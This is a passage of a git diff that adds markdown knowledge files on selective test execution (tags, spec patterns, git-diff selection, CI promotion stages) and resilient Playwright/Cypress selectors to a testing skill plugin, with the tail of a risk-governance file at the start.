+      report += `| ${m.criterion.story} | ${m.criterion.criterion} | ${testList} |\n`;
+    });
+
+  return report;
+}
+```
+
+**Usage Example**:
+
+```typescript
+// Define acceptance criteria
+const criteria: AcceptanceCriterion[] = [
+  { id: 'AC-001', story: 'US-123', criterion: 'User can login with email', priority: 'P0' },
+  { id: 'AC-002', story: 'US-123', criterion: 'User sees error on invalid password', priority: 'P0' },
+  { id: 'AC-003', story: 'US-124', criterion: 'User receives password reset email', priority: 'P1' },
+  { id: 'AC-004', story: 'US-125', criterion: 'User can update profile', priority: 'P2' }, // NO TEST
+];
+
+// Extract tests
+const tests: TestCase[] = extractCriteriaFromTests(['tests/e2e/auth/login.spec.ts', 'tests/e2e/auth/password-reset.spec.ts']);
+
+// Build matrix
+const matrix = buildCoverageMatrix(criteria, tests);
+
+// Validate
+const { gaps, passRate } = validateCoverage(matrix);
+console.log(`Coverage: ${passRate.toFixed(1)}%`); // "Coverage: 75.0%"
+console.log(`Gaps: ${gaps.length}`); // "Gaps: 1" (AC-004 has no test)
+
+// Generate report
+const report = generateTraceabilityReport(matrix);
+console.log(report);
+// Markdown table showing coverage gaps
+```
+
+**Key Points**:
+
+- **Bidirectional traceability**: Criteria → Tests and Tests → Criteria
+- **Gap detection**: Automatically identifies missing coverage
+- **Priority awareness**: P0 gaps are critical blockers
+- **Waiver support**: Allow explicit waivers for low-priority gaps
+
+---
+
+## Risk Governance Checklist
+
+Before deploying to production, ensure:
+
+- [ ] **Risk scoring complete**: All identified risks scored (Probability × Impact)
+- [ ] **Ownership assigned**: Every risk >4 has owner, mitigation plan, deadline
+- [ ] **Coverage validated**: Every acceptance criterion maps to at least one test
+- [ ] **Gate decision documented**: PASS/CONCERNS/FAIL/WAIVED with rationale
+- [ ] **Waivers approved**: All waivers have approver, reason, expiry date
+- [ ] **Audit trail captured**: Risk history log available for compliance review
+- [ ] **Traceability matrix**: Requirements-to-tests mapping up to date
+- [ ] **Critical risks resolved**: No score=9 risks in OPEN status
+
+## Integration Points
+
+- **Used in workflows**: `*trace` (Phase 2: gate decision), `*nfr-assess` (risk scoring), `*test-design` (risk identification)
+- **Related fragments**: `probability-impact.md` (scoring definitions), `test-priorities-matrix.md` (P0-P3 classification), `nfr-criteria.md` (non-functional risks)
+- **Tools**: Risk tracking dashboards (Jira, Linear), gate automation (CI/CD), traceability reports (Markdown, Confluence)
+
+_Source: Murat risk governance notes, gate schema guidance, enterprise production gate workflows, ISO 31000 risk management standards_
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/selective-testing.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/selective-testing.md
new file mode 100644
index 0000000..e8becc3
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/selective-testing.md
@@ -0,0 +1,732 @@
+# Selective and Targeted Test Execution
+
+## Principle
+
+Run only the tests you need, when you need them. Use tags/grep to slice suites by risk priority (not directory structure), filter by spec patterns or git diff to focus on impacted areas, and combine priority metadata (P0-P3) with change detection to optimize pre-commit vs. CI execution. Document the selection strategy clearly so teams understand when full regression is mandatory.
+
+## Rationale
+
+Running the entire test suite on every commit wastes time and resources. Smart test selection provides fast feedback (smoke tests in minutes, full regression in hours) while maintaining confidence. The "32+ ways of selective testing" philosophy balances speed with coverage: quick loops for developers, comprehensive validation before deployment. Poorly documented selection leads to confusion about when tests run and why.
+
+## Pattern Examples
+
+### Example 1: Tag-Based Execution with Priority Levels
+
+**Context**: Organize tests by risk priority and execution stage using grep/tag patterns.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/checkout.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Tag-based test organization
+ * - @smoke: Critical path tests (run on every commit, < 5 min)
+ * - @regression: Full test suite (run pre-merge, < 30 min)
+ * - @p0: Critical business functions (payment, auth, data integrity)
+ * - @p1: Core features (primary user journeys)
+ * - @p2: Secondary features (supporting functionality)
+ * - @p3: Nice-to-have (cosmetic, non-critical)
+ */
+
+test.describe('Checkout Flow', () => {
+  // P0 + Smoke: Must run on every commit
+  test('@smoke @p0 should complete purchase with valid payment', async ({ page }) => {
+    await page.goto('/checkout');
+    await page.getByTestId('card-number').fill('4242424242424242');
+    await page.getByTestId('submit-payment').click();
+
+    await expect(page.getByTestId('order-confirmation')).toBeVisible();
+  });
+
+  // P0 but not smoke: Run pre-merge
+  test('@regression @p0 should handle payment decline gracefully', async ({ page }) => {
+    await page.goto('/checkout');
+    await page.getByTestId('card-number').fill('4000000000000002'); // Decline card
+    await page.getByTestId('submit-payment').click();
+
+    await expect(page.getByTestId('payment-error')).toBeVisible();
+    await expect(page.getByTestId('payment-error')).toContainText('declined');
+  });
+
+  // P1 + Smoke: Important but not critical
+  test('@smoke @p1 should apply discount code', async ({ page }) => {
+    await page.goto('/checkout');
+    await page.getByTestId('promo-code').fill('SAVE10');
+    await page.getByTestId('apply-promo').click();
+
+    await expect(page.getByTestId('discount-applied')).toBeVisible();
+  });
+
+  // P2: Run in full regression only
+  test('@regression @p2 should remember saved payment methods', async ({ page }) => {
+    await page.goto('/checkout');
+    await expect(page.getByTestId('saved-cards')).toBeVisible();
+  });
+
+  // P3: Low priority, run nightly or weekly
+  test('@nightly @p3 should display checkout page analytics', async ({ page }) => {
+    await page.goto('/checkout');
+    const analyticsEvents = await page.evaluate(() => (window as any).__ANALYTICS__);
+    expect(analyticsEvents).toBeDefined();
+  });
+});
+```
+
+**package.json scripts**:
+
+```json
+{
+  "scripts": {
+    "test": "playwright test",
+    "test:smoke": "playwright test --grep '@smoke'",
+    "test:p0": "playwright test --grep '@p0'",
+    "test:p0-p1": "playwright test --grep '@p0|@p1'",
+    "test:regression": "playwright test --grep '@regression'",
+    "test:nightly": "playwright test --grep '@nightly'",
+    "test:not-slow": "playwright test --grep-invert '@slow'",
+    "test:critical-smoke": "playwright test --grep '@smoke.*@p0'"
+  }
+}
+```
+
+**Cypress equivalent**:
+
+```javascript
+// cypress/e2e/checkout.cy.ts
+describe('Checkout Flow', { tags: ['@checkout'] }, () => {
+  it('should complete purchase', { tags: ['@smoke', '@p0'] }, () => {
+    cy.visit('/checkout');
+    cy.get('[data-cy="card-number"]').type('4242424242424242');
+    cy.get('[data-cy="submit-payment"]').click();
+    cy.get('[data-cy="order-confirmation"]').should('be.visible');
+  });
+
+  it('should handle decline', { tags: ['@regression', '@p0'] }, () => {
+    cy.visit('/checkout');
+    cy.get('[data-cy="card-number"]').type('4000000000000002');
+    cy.get('[data-cy="submit-payment"]').click();
+    cy.get('[data-cy="payment-error"]').should('be.visible');
+  });
+});
+
+// cypress.config.ts
+export default defineConfig({
+  e2e: {
+    env: {
+      grepTags: process.env.GREP_TAGS || '',
+      grepFilterSpecs: true,
+    },
+    setupNodeEvents(on, config) {
+      require('@cypress/grep/src/plugin')(config);
+      return config;
+    },
+  },
+});
+```
+
+**Usage**:
+
+```bash
+# Playwright
+npm run test:smoke                    # Run all @smoke tests
+npm run test:p0                       # Run all P0 tests
+npm run test -- --grep "@smoke.*@p0"  # Run tests with BOTH tags
+
+# Cypress (with @cypress/grep plugin)
+npx cypress run --env grepTags="@smoke"
+npx cypress run --env grepTags="@p0+@smoke"  # AND logic
+npx cypress run --env grepTags="@p0 @p1"     # OR logic
+```
+
+**Key Points**:
+
+- **Multiple tags per test**: Combine priority (@p0) with stage (@smoke)
+- **AND/OR logic**: Grep supports complex filtering
+- **Clear naming**: Tags document test importance
+- **Fast feedback**: @smoke runs < 5 min, full suite < 30 min
+- **CI integration**: Different jobs run different tag combinations
+
+---
+
+### Example 2: Spec Filter Pattern (File-Based Selection)
+
+**Context**: Run tests by file path pattern or directory for targeted execution.
+
+**Implementation**:
+
+```bash
+#!/bin/bash
+# scripts/selective-spec-runner.sh
+# Run tests based on spec file patterns
+
+set -e
+
+PATTERN=${1:-"**/*.spec.ts"}
+TEST_ENV=${TEST_ENV:-local}
+
+echo "🎯 Selective Spec Runner"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "Pattern: $PATTERN"
+echo "Environment: $TEST_ENV"
+echo ""
+
+# Pattern examples and their use cases
+case "$PATTERN" in
+  "**/checkout*")
+    echo "📦 Running checkout-related tests"
+    npx playwright test --grep-files="**/checkout*"
+    ;;
+  "**/auth*"|"**/login*"|"**/signup*")
+    echo "🔐 Running authentication tests"
+    npx playwright test --grep-files="**/auth*|**/login*|**/signup*"
+    ;;
+  "tests/e2e/**")
+    echo "🌐 Running all E2E tests"
+    npx playwright test tests/e2e/
+    ;;
+  "tests/integration/**")
+    echo "🔌 Running all integration tests"
+    npx playwright test tests/integration/
+    ;;
+  "tests/component/**")
+    echo "🧩 Running all component tests"
+    npx playwright test tests/component/
+    ;;
+  *)
+    echo "🔍 Running tests matching pattern: $PATTERN"
+    npx playwright test "$PATTERN"
+    ;;
+esac
+```
+
+**Playwright config for file filtering**:
+
+```typescript
+// playwright.config.ts
+import { defineConfig, devices } from '@playwright/test';
+
+export default defineConfig({
+  // ... other config
+
+  // Project-based organization
+  projects: [
+    {
+      name: 'smoke',
+      testMatch: /.*smoke.*\.spec\.ts/,
+      retries: 0,
+    },
+    {
+      name: 'e2e',
+      testMatch: /tests\/e2e\/.*\.spec\.ts/,
+      retries: 2,
+    },
+    {
+      name: 'integration',
+      testMatch: /tests\/integration\/.*\.spec\.ts/,
+      retries: 1,
+    },
+    {
+      name: 'component',
+      testMatch: /tests\/component\/.*\.spec\.ts/,
+      use: { ...devices['Desktop Chrome'] },
+    },
+  ],
+});
+```
+
+**Advanced pattern matching**:
+
+```typescript
+// scripts/run-by-component.ts
+/**
+ * Run tests related to specific component(s)
+ * Usage: npm run test:component UserProfile,Settings
+ */
+
+import { execSync } from 'child_process';
+
+const components = process.argv[2]?.split(',') || [];
+
+if (components.length === 0) {
+  console.error('❌ No components specified');
+  console.log('Usage: npm run test:component UserProfile,Settings');
+  process.exit(1);
+}
+
+// Convert component names to glob patterns
+const patterns = components.map((comp) => `**/*${comp}*.spec.ts`).join(' ');
+
+console.log(`🧩 Running tests for components: ${components.join(', ')}`);
+console.log(`Patterns: ${patterns}`);
+
+try {
+  execSync(`npx playwright test ${patterns}`, {
+    stdio: 'inherit',
+    env: { ...process.env, CI: 'false' },
+  });
+} catch (error) {
+  process.exit(1);
+}
+```
+
+**package.json scripts**:
+
+```json
+{
+  "scripts": {
+    "test:checkout": "playwright test **/checkout*.spec.ts",
+    "test:auth": "playwright test **/auth*.spec.ts **/login*.spec.ts",
+    "test:e2e": "playwright test tests/e2e/",
+    "test:integration": "playwright test tests/integration/",
+    "test:component": "ts-node scripts/run-by-component.ts",
+    "test:project": "playwright test --project",
+    "test:smoke-project": "playwright test --project smoke"
+  }
+}
+```
+
+**Key Points**:
+
+- **Glob patterns**: Wildcards match file paths flexibly
+- **Project isolation**: Separate projects have different configs
+- **Component targeting**: Run tests for specific features
+- **Directory-based**: Organize tests by type (e2e, integration, component)
+- **CI optimization**: Run subsets in parallel CI jobs
+
+---
+
+### Example 3: Diff-Based Test Selection (Changed Files Only)
+
+**Context**: Run only tests affected by code changes for maximum speed.
+
+**Implementation**:
+
+```bash
+#!/bin/bash
+# scripts/test-changed-files.sh
+# Intelligent test selection based on git diff
+
+set -e
+
+BASE_BRANCH=${BASE_BRANCH:-main}
+TEST_ENV=${TEST_ENV:-local}
+
+echo "🔍 Changed File Test Selector"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "Base branch: $BASE_BRANCH"
+echo "Environment: $TEST_ENV"
+echo ""
+
+# Get changed files
+CHANGED_FILES=$(git diff --name-only $BASE_BRANCH...HEAD)
+
+if [ -z "$CHANGED_FILES" ]; then
+  echo "✅ No files changed. Skipping tests."
+  exit 0
+fi
+
+echo "Changed files:"
+echo "$CHANGED_FILES" | sed 's/^/  - /'
+echo ""
+
+# Arrays to collect test specs
+DIRECT_TEST_FILES=()
+RELATED_TEST_FILES=()
+RUN_ALL_TESTS=false
+
+# Process each changed file
+while IFS= read -r file; do
+  case "$file" in
+    # Changed test files: run them directly
+    *.spec.ts|*.spec.js|*.test.ts|*.test.js|*.cy.ts|*.cy.js)
+      DIRECT_TEST_FILES+=("$file")
+      ;;
+
+    # Critical config changes: run ALL tests
+    package.json|package-lock.json|playwright.config.ts|cypress.config.ts|tsconfig.json|.github/workflows/*)
+      echo "⚠️  Critical file changed: $file"
+      RUN_ALL_TESTS=true
+      break
+      ;;
+
+    # Component changes: find related tests
+    src/components/*.tsx|src/components/*.jsx)
+      COMPONENT_NAME=$(basename "$file" | sed 's/\.[^.]*$//')
+      echo "🧩 Component changed: $COMPONENT_NAME"
+
+      # Find tests matching component name
+      FOUND_TESTS=$(find tests -name "*${COMPONENT_NAME}*.spec.ts" -o -name "*${COMPONENT_NAME}*.cy.ts" 2>/dev/null || true)
+      if [ -n "$FOUND_TESTS" ]; then
+        while IFS= read -r test_file; do
+          RELATED_TEST_FILES+=("$test_file")
+        done <<< "$FOUND_TESTS"
+      fi
+      ;;
+
+    # Utility/lib changes: run integration + unit tests
+    src/utils/*|src/lib/*|src/helpers/*)
+      echo "⚙️  Utility file changed: $file"
+      RELATED_TEST_FILES+=($(find tests/unit tests/integration -name "*.spec.ts" 2>/dev/null || true))
+      ;;
+
+    # API changes: run integration + e2e tests
+    src/api/*|src/services/*|src/controllers/*)
+      echo "🔌 API file changed: $file"
+      RELATED_TEST_FILES+=($(find tests/integration tests/e2e -name "*.spec.ts" 2>/dev/null || true))
+      ;;
+
+    # Type changes: run all TypeScript tests
+    *.d.ts|src/types/*)
+      echo "📝 Type definition changed: $file"
+      RUN_ALL_TESTS=true
+      break
+      ;;
+
+    # Documentation only: skip tests
+    *.md|docs/*|README*)
+      echo "📄 Documentation changed: $file (no tests needed)"
+      ;;
+
+    *)
+      echo "❓ Unclassified change: $file (running smoke tests)"
+      RELATED_TEST_FILES+=($(find tests -name "*smoke*.spec.ts" 2>/dev/null || true))
+      ;;
+  esac
+done <<< "$CHANGED_FILES"
+
+# Execute tests based on analysis
+if [ "$RUN_ALL_TESTS" = true ]; then
+  echo ""
+  echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+  echo "🚨 Running FULL test suite (critical changes detected)"
+  echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+  npm run test
+  exit $?
+fi
+
+# Combine and deduplicate test files
+ALL_TEST_FILES=(${DIRECT_TEST_FILES[@]} ${RELATED_TEST_FILES[@]})
+UNIQUE_TEST_FILES=($(echo "${ALL_TEST_FILES[@]}" | tr ' ' '\n' | sort -u))
+
+if [ ${#UNIQUE_TEST_FILES[@]} -eq 0 ]; then
+  echo ""
+  echo "✅ No tests found for changed files. Running smoke tests."
+  npm run test:smoke
+  exit $?
+fi
+
+echo ""
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "🎯 Running ${#UNIQUE_TEST_FILES[@]} test file(s)"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+
+for test_file in "${UNIQUE_TEST_FILES[@]}"; do
+  echo "  - $test_file"
+done
+
+echo ""
+npm run test -- "${UNIQUE_TEST_FILES[@]}"
+```
+
+**GitHub Actions integration**:
+
+```yaml
+# .github/workflows/test-changed.yml
+name: Test Changed Files
+on:
+  pull_request:
+    types: [opened, synchronize, reopened]
+
+jobs:
+  detect-and-test:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          fetch-depth: 0 # Full history for accurate diff
+
+      - name: Get changed files
+        id: changed-files
+        uses: tj-actions/changed-files@v40
+        with:
+          files: |
+            src/**
+            tests/**
+            *.config.ts
+          files_ignore: |
+            **/*.md
+            docs/**
+
+      - name: Run tests for changed files
+        if: steps.changed-files.outputs.any_changed == 'true'
+        run: |
+          echo "Changed files: ${{ steps.changed-files.outputs.all_changed_files }}"
+          bash scripts/test-changed-files.sh
+        env:
+          BASE_BRANCH: ${{ github.base_ref }}
+          TEST_ENV: staging
+```
+
+**Key Points**:
+
+- **Intelligent mapping**: Code changes → related tests
+- **Critical file detection**: Config changes = full suite
+- **Component mapping**: UI changes → component + E2E tests
+- **Fast feedback**: Run only what's needed (< 2 min typical)
+- **Safety net**: Unrecognized changes run smoke tests
+
+---
+
+### Example 4: Promotion Rules (Pre-Commit → CI → Staging → Production)
+
+**Context**: Progressive test execution strategy across deployment stages.
+
+**Implementation**:
+
+```typescript
+// scripts/test-promotion-strategy.ts
+/**
+ * Test Promotion Strategy
+ * Defines which tests run at each stage of the development lifecycle
+ */
+
+export type TestStage = 'pre-commit' | 'ci-pr' | 'ci-merge' | 'staging' | 'production';
+
+export type TestPromotion = {
+  stage: TestStage;
+  description: string;
+  testCommand: string;
+  timebudget: string; // minutes
+  required: boolean;
+  failureAction: 'block' | 'warn' | 'alert';
+};
+
+export const TEST_PROMOTION_RULES: Record<TestStage, TestPromotion> = {
+  'pre-commit': {
+    stage: 'pre-commit',
+    description: 'Local developer checks before git commit',
+    testCommand: 'npm run test:smoke',
+    timebudget: '2',
+    required: true,
+    failureAction: 'block',
+  },
+  'ci-pr': {
+    stage: 'ci-pr',
+    description: 'CI checks on pull request creation/update',
+    testCommand: 'npm run test:changed && npm run test:p0-p1',
+    timebudget: '10',
+    required: true,
+    failureAction: 'block',
+  },
+  'ci-merge': {
+    stage: 'ci-merge',
+    description: 'Full regression before merge to main',
+    testCommand: 'npm run test:regression',
+    timebudget: '30',
+    required: true,
+    failureAction: 'block',
+  },
+  staging: {
+    stage: 'staging',
+    description: 'Post-deployment validation in staging environment',
+    testCommand: 'npm run test:e2e -- --grep "@smoke"',
+    timebudget: '15',
+    required: true,
+    failureAction: 'block',
+  },
+  production: {
+    stage: 'production',
+    description: 'Production smoke tests post-deployment',
+    testCommand: 'npm run test:e2e:prod -- --grep "@smoke.*@p0"',
+    timebudget: '5',
+    required: false,
+    failureAction: 'alert',
+  },
+};
+
+/**
+ * Get tests to run for a specific stage
+ */
+export function getTestsForStage(stage: TestStage): TestPromotion {
+  return TEST_PROMOTION_RULES[stage];
+}
+
+/**
+ * Validate if tests can be promoted to next stage
+ */
+export function canPromote(currentStage: TestStage, testsPassed: boolean): boolean {
+  const promotion = TEST_PROMOTION_RULES[currentStage];
+
+  if (!promotion.required) {
+    return true; // Non-required tests don't block promotion
+  }
+
+  return testsPassed;
+}
+```
+
+**Husky pre-commit hook**:
+
+```bash
+#!/bin/bash
+# .husky/pre-commit
+# Run smoke tests before allowing commit
+
+echo "🔍 Running pre-commit tests..."
+
+npm run test:smoke
+
+if [ $? -ne 0 ]; then
+  echo ""
+  echo "❌ Pre-commit tests failed!"
+  echo "Please fix failures before committing."
+  echo ""
+  echo "To skip (NOT recommended): git commit --no-verify"
+  exit 1
+fi
+
+echo "✅ Pre-commit tests passed"
+```
+
+**GitHub Actions workflow**:
+
+```yaml
+# .github/workflows/test-promotion.yml
+name: Test Promotion Strategy
+on:
+  pull_request:
+  push:
+    branches: [main]
+  workflow_dispatch:
+
+jobs:
+  # Stage 1: PR tests (changed + P0-P1)
+  pr-tests:
+    if: github.event_name == 'pull_request'
+    runs-on: ubuntu-latest
+    timeout-minutes: 10
+    steps:
+      - uses: actions/checkout@v4
+      - name: Run PR-level tests
+        run: |
+          npm run test:changed
+          npm run test:p0-p1
+
+  # Stage 2: Full regression (pre-merge)
+  regression-tests:
+    if: github.event_name == 'push' && github.ref == 'refs/heads/main'
+    runs-on: ubuntu-latest
+    timeout-minutes: 30
+    steps:
+      - uses: actions/checkout@v4
+      - name: Run full regression
+        run: npm run test:regression
+
+  # Stage 3: Staging validation (post-deploy)
+  staging-smoke:
+    if: github.event_name == 'workflow_dispatch'
+    runs-on: ubuntu-latest
+    timeout-minutes: 15
+    steps:
+      - uses: actions/checkout@v4
+      - name: Run staging smoke tests
+        run: npm run test:e2e -- --grep "@smoke"
+        env:
+          TEST_ENV: staging
+
+  # Stage 4: Production smoke (post-deploy, non-blocking)
+  production-smoke:
+    if: github.event_name == 'workflow_dispatch'
+    runs-on: ubuntu-latest
+    timeout-minutes: 5
+    continue-on-error: true # Don't fail deployment if smoke tests fail
+    steps:
+      - uses: actions/checkout@v4
+      - name: Run production smoke tests
+        run: npm run test:e2e:prod -- --grep "@smoke.*@p0"
+        env:
+          TEST_ENV: production
+
+      - name: Alert on failure
+        if: failure()
+        uses: 8398a7/action-slack@v3
+        with:
+          status: ${{ job.status }}
+          text: '🚨 Production smoke tests failed!'
+          webhook_url: ${{ secrets.SLACK_WEBHOOK }}
+```
+
+**Selection strategy documentation**:
+
+````markdown
+# Test Selection Strategy
+
+## Test Promotion Stages
+
+| Stage      | Tests Run           | Time Budget | Blocks Deploy | Failure Action |
+| ---------- | ------------------- | ----------- | ------------- | -------------- |
+| Pre-Commit | Smoke (@smoke)      | 2 min       | ✅ Yes        | Block commit   |
+| CI PR      | Changed + P0-P1     | 10 min      | ✅ Yes        | Block merge    |
+| CI Merge   | Full regression     | 30 min      | ✅ Yes        | Block deploy   |
+| Staging    | E2E smoke           | 15 min      | ✅ Yes        | Rollback       |
+| Production | Critical smoke only | 5 min       | ❌ No         | Alert team     |
+
+## When Full Regression Runs
+
+Full regression suite (`npm run test:regression`) runs in these scenarios:
+
+- ✅ Before merging to `main` (CI Merge stage)
+- ✅ Nightly builds (scheduled workflow)
+- ✅ Manual trigger (workflow_dispatch)
+- ✅ Release candidate testing
+
+Full regression does NOT run on:
+
+- ❌ Every PR commit (too slow)
+- ❌ Pre-commit hooks (too slow)
+- ❌ Production deployments (deploy-blocking)
+
+## Override Scenarios
+
+Skip tests (emergency only):
+
+```bash
+git commit --no-verify  # Skip pre-commit hook
+gh pr merge --admin     # Force merge (requires admin)
+```
+````
+
+```
+
+**Key Points**:
+- **Progressive validation**: More tests at each stage
+- **Time budgets**: Clear expectations per stage
+- **Blocking vs. alerting**: Production tests don't block deploy
+- **Documentation**: Team knows when full regression runs
+- **Emergency overrides**: Documented but discouraged
+
+---
+
+## Test Selection Strategy Checklist
+
+Before implementing selective testing, verify:
+
+- [ ] **Tag strategy defined**: @smoke, @p0-p3, @regression documented
+- [ ] **Time budgets set**: Each stage has clear timeout (smoke < 5 min, full < 30 min)
+- [ ] **Changed file mapping**: Code changes → test selection logic implemented
+- [ ] **Promotion rules documented**: README explains when full regression runs
+- [ ] **CI integration**: GitHub Actions uses selective strategy
+- [ ] **Local parity**: Developers can run same selections locally
+- [ ] **Emergency overrides**: Skip mechanisms documented (--no-verify, admin merge)
+- [ ] **Metrics tracked**: Monitor test execution time and selection accuracy
+
+## Integration Points
+
+- Used in workflows: `*ci` (CI/CD setup), `*automate` (test generation with tags)
+- Related fragments: `ci-burn-in.md`, `test-priorities-matrix.md`, `test-quality.md`
+- Selection tools: Playwright --grep, Cypress @cypress/grep, git diff
+
+_Source: 32+ selective testing strategies blog, Murat testing philosophy, enterprise CI optimization_
+```
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/selector-resilience.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/selector-resilience.md
new file mode 100644
index 0000000..06f0b04
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/selector-resilience.md
@@ -0,0 +1,527 @@
+# Selector Resilience
+
+## Principle
+
+Robust selectors follow a strict hierarchy: **data-testid > ARIA roles > text content > CSS/IDs** (last resort). Selectors must be resilient to UI changes (styling, layout, content updates) and remain human-readable for maintenance.
+
+## Rationale
+
+**The Problem**: Brittle selectors (CSS classes, nth-child, complex XPath) break when UI styling changes, elements are reordered, or design updates occur. This causes test maintenance burden and false negatives.
+
+**The Solution**: Prioritize semantic selectors that reflect user intent (ARIA roles, accessible names, test IDs). Use dynamic filtering for lists instead of nth() indexes. Validate selectors during code review and refactor proactively.
+
+**Why This Matters**:
+
+- Prevents false test failures (UI refactoring doesn't break tests)
+- Improves accessibility (ARIA roles benefit both tests and screen readers)
+- Enhances readability (semantic selectors document user intent)
+- Reduces maintenance burden (robust selectors survive design changes)
+
+## Pattern Examples
+
+### Example 1: Selector Hierarchy (Priority Order with Examples)
+
+**Context**: Choose the most resilient selector for each element type
+
+**Implementation**:
+
+```typescript
+// tests/selectors/hierarchy-examples.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Selector Hierarchy Best Practices', () => {
+  test('Level 1: data-testid (BEST - most resilient)', async ({ page }) => {
+    await page.goto('/login');
+
+    // ✅ Best: Dedicated test attribute (survives all UI changes)
+    await page.getByTestId('email-input').fill('user@example.com');
+    await page.getByTestId('password-input').fill('password123');
+    await page.getByTestId('login-button').click();
+
+    await expect(page.getByTestId('welcome-message')).toBeVisible();
+
+    // Why it's best:
+    // - Survives CSS refactoring (class name changes)
+    // - Survives layout changes (element reordering)
+    // - Survives content changes (button text updates)
+    // - Explicit test contract (developer knows it's for testing)
+  });
+
+  test('Level 2: ARIA roles and accessible names (GOOD - future-proof)', async ({ page }) => {
+    await page.goto('/login');
+
+    // ✅ Good: Semantic HTML roles (benefits accessibility + tests)
+    await page.getByRole('textbox', { name: 'Email' }).fill('user@example.com');
+    await page.getByRole('textbox', { name: 'Password' }).fill('password123');
+    await page.getByRole('button', { name: 'Sign In' }).click();
+
+    await expect(page.getByRole('heading', { name: 'Welcome' })).toBeVisible();
+
+    // Why it's good:
+    // - Survives CSS refactoring
+    // - Survives layout changes
+    // - Enforces accessibility (screen reader compatible)
+    // - Self-documenting (role + name = clear intent)
+  });
+
+  test('Level 3: Text content (ACCEPTABLE - user-centric)', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ✅ Acceptable: Text content (matches user perception)
+    await page.getByText('Create New Order').click();
+    await expect(page.getByText('Order Details')).toBeVisible();
+
+    // Why it's acceptable:
+    // - User-centric (what user sees)
+    // - Survives CSS/layout changes
+    // - Breaks when copy changes (forces test update with content)
+
+    // ⚠️ Use with caution for dynamic/localized content:
+    // - Avoid for content with variables: "User 123" (use regex instead)
+    // - Avoid for i18n content (use data-testid or ARIA)
+  });
+
+  test('Level 4: CSS classes/IDs (LAST RESORT - brittle)', async ({ page }) => {
+    await page.goto('/login');
+
+    // ❌ Last resort: CSS class (breaks with styling updates)
+    // await page.locator('.btn-primary').click()
+
+    // ❌ Last resort: ID (breaks if ID changes)
+    // await page.locator('#login-form').fill(...)
+
+    // ✅ Better: Use data-testid or ARIA instead
+    await page.getByTestId('login-button').click();
+
+    // Why CSS/ID is last resort:
+    // - Breaks with CSS refactoring (class name changes)
+    // - Breaks with HTML restructuring (ID changes)
+    // - Not semantic (unclear what element does)
+    // - Tight coupling between tests and styling
+  });
+});
+```
+
+**Key Points**:
+
+- Hierarchy: data-testid (best) > ARIA (good) > text (acceptable) > CSS/ID (last resort)
+- data-testid survives ALL UI changes (explicit test contract)
+- ARIA roles enforce accessibility (screen reader compatible)
+- Text content is user-centric (but breaks with copy changes)
+- CSS/ID are brittle (break with styling refactoring)
+
+---
+
+### Example 2: Dynamic Selector Patterns (Lists, Filters, Regex)
+
+**Context**: Handle dynamic content, lists, and variable data with resilient selectors
+
+**Implementation**:
+
+```typescript
+// tests/selectors/dynamic-selectors.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Dynamic Selector Patterns', () => {
+  test('regex for variable content (user IDs, timestamps)', async ({ page }) => {
+    await page.goto('/users');
+
+    // ✅ Good: Regex pattern for dynamic user IDs
+    await expect(page.getByText(/User \d+/)).toBeVisible();
+
+    // ✅ Good: Regex for timestamps
+    await expect(page.getByText(/Last login: \d{4}-\d{2}-\d{2}/)).toBeVisible();
+
+    // ✅ Good: Regex for dynamic counts
+    await expect(page.getByText(/\d+ items in cart/)).toBeVisible();
+  });
+
+  test('partial text matching (case-insensitive, substring)', async ({ page }) => {
+    await page.goto('/products');
+
+    // ✅ Good: Partial match (survives minor text changes)
+    await page.getByText('Product', { exact: false }).first().click();
+
+    // ✅ Good: Case-insensitive (survives capitalization changes)
+    await expect(page.getByText(/sign in/i)).toBeVisible();
+  });
+
+  test('filter locators for lists (avoid brittle nth)', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Bad: Index-based (breaks when order changes)
+    // await page.locator('.product-card').nth(2).click()
+
+    // ✅ Good: Filter by content (resilient to reordering)
+    await page.locator('[data-testid="product-card"]').filter({ hasText: 'Premium Plan' }).click();
+
+    // ✅ Good: Filter by attribute
+    await page
+      .locator('[data-testid="product-card"]')
+      .filter({ has: page.locator('[data-status="active"]') })
+      .first()
+      .click();
+  });
+
+  test('nth() only when absolutely necessary', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ⚠️ Acceptable: nth(0) for first item (common pattern)
+    const firstNotification = page.getByTestId('notification').nth(0);
+    await expect(firstNotification).toContainText('Welcome');
+
+    // ❌ Bad: nth(5) for arbitrary index (fragile)
+    // await page.getByTestId('notification').nth(5).click()
+
+    // ✅ Better: Use filter() with specific criteria
+    await page.getByTestId('notification').filter({ hasText: 'Critical Alert' }).click();
+  });
+
+  test('combine multiple locators for specificity', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // ✅ Good: Narrow scope with combined locators
+    const shippingSection = page.getByTestId('shipping-section');
+    await shippingSection.getByLabel('Address Line 1').fill('123 Main St');
+    await shippingSection.getByLabel('City').fill('New York');
+
+    // Scoping prevents ambiguity (multiple "City" fields on page)
+  });
+});
+```
+
+**Key Points**:
+
+- Regex patterns handle variable content (IDs, timestamps, counts)
+- Partial matching survives minor text changes (`exact: false`)
+- `filter()` is more resilient than `nth()` (content-based vs index-based)
+- `nth(0)` acceptable for "first item", avoid arbitrary indexes
